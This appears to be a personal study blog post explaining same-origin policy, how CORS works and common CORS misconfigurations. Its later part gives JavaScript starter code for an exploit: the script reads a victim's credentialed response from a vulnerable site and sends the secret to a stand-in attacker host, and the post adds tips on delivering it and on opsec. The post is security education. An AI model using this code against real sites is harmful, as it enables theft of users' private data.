twisted logic

~notes on cross origin resource sharing~

i wanted to do a quick writeup on cors (cross origin resource sharing) while everything i just learned is still fresh.

to start, there's this thing called same origin policy that web browsers enforce. it means that only sites in the same scheme (e.g. http, https), domain, and port can read from a webpage. this is what keeps you safe when you are browsing potentially sketchy sites, so no, nobody can just scoop up your bank account number (if you're logged into your bank's website) or your twitter dms (if you're logged into twitter)! however, same origin policy won't prevent csrf since it doesn't prevent requests from being made to external sites, just that an attacker won't be able to read any response back.

cors is implemented as a way to loosen the constraints of same origin policy. note that same origin policy won't let subdomains share data, which can be really incovenient for some developers. cors works by using http headers. when a cross origin request is made, the browser will append a origin header which will be checked against the headers of the external web server's response, in particular access-control-allow-origin. if they match, then the page making the request will be allowed to read data. note that by default, credentials are not passed along, but if they are sent as part of the request, the access-control-allow-credentials header must be set to true, otherwise the page making the request will not be allowed to look at the response.

so how do people screw up cors configurations? i will list several ways. first of all, sometimes developers get frustrated and allow every domain to access data from the site they are building through something called origin reflection. so whatever malicious domain would be authorized to read data. next, allowing a null origin is a bad idea because there are ways attackers can cause their request to be sent with a origin header of null (e.g. a sandboxed iframe). also, regex is hard! mistakes made when writing filters to allow certain domains can be exploited as well. another thing to remember is to be careful of which sites you are trusting. even if your site is as vuln free as humanly possible and uses strict https, if you trust a site that doesn't use https or has xss vulnerabilities, the data on your site can be at risk! finally, on a internal network, you might think nobody is going to mess with you, but as long as people are allowed to access the public internet, if you allow requests from all domains, your site could be vulnerable.

now let's look at some code, which is adapted from the references linked at the bottom of this page. let's say you found a vulnerable website in which cors is not configured correctly. this means you can potentially steal secrets from that website. so you would want your script to be executed in your victim's browser. this could be accomplished through xss, or simply tricking them into visting your malicious webpage.

one way to retrieve information within a script without refreshing the webpage is through XMLHttpRequest. this can be used in our exploit! the general steps to follow are 1) make a request of a page, 2) parse the response, and 3) exfil the secret. here is some starter code to help you with this.


var req = new XMLHttpRequest();
req.onload = exfil;
req.responseType = 'json';
req.open('get','vulnerable-website.com/topsecret');
req.withCredentials = true;
req.send();

function exfil() {
  var logger = new XMLHttpRequest();
  secret = this.response.secret;
  logger.open('post', 'malicious-website.com/exfil');
  logger.send(secret);
};

a few notes on this. first, i make a request to the vulnerable web server. what you set the responseType of your request depends on the format of the anticipated response. so if you expect a html document, use 'document' instead. here i expect a json object. also we want credentials to be sent along as well.

notice that when the response is ready, the function exfil will be called. here i parse the response for the data i want. if the responseType was 'document' instead, you can use this.response.getElementById() to grab certain elements on the page. finally, i exfil the secret through a http request to a web server i control. here, for slightly better opsec, i use post instead of get, since urls are more likely to get logged and i don't want other people seeing the secret that is now mine! but depending on the situation, get could be used as well.

that's all for now. these notes are mostly for my future self, but i hope someone else finds them useful as well.

references:
port swigger web security academy
mozilla web docs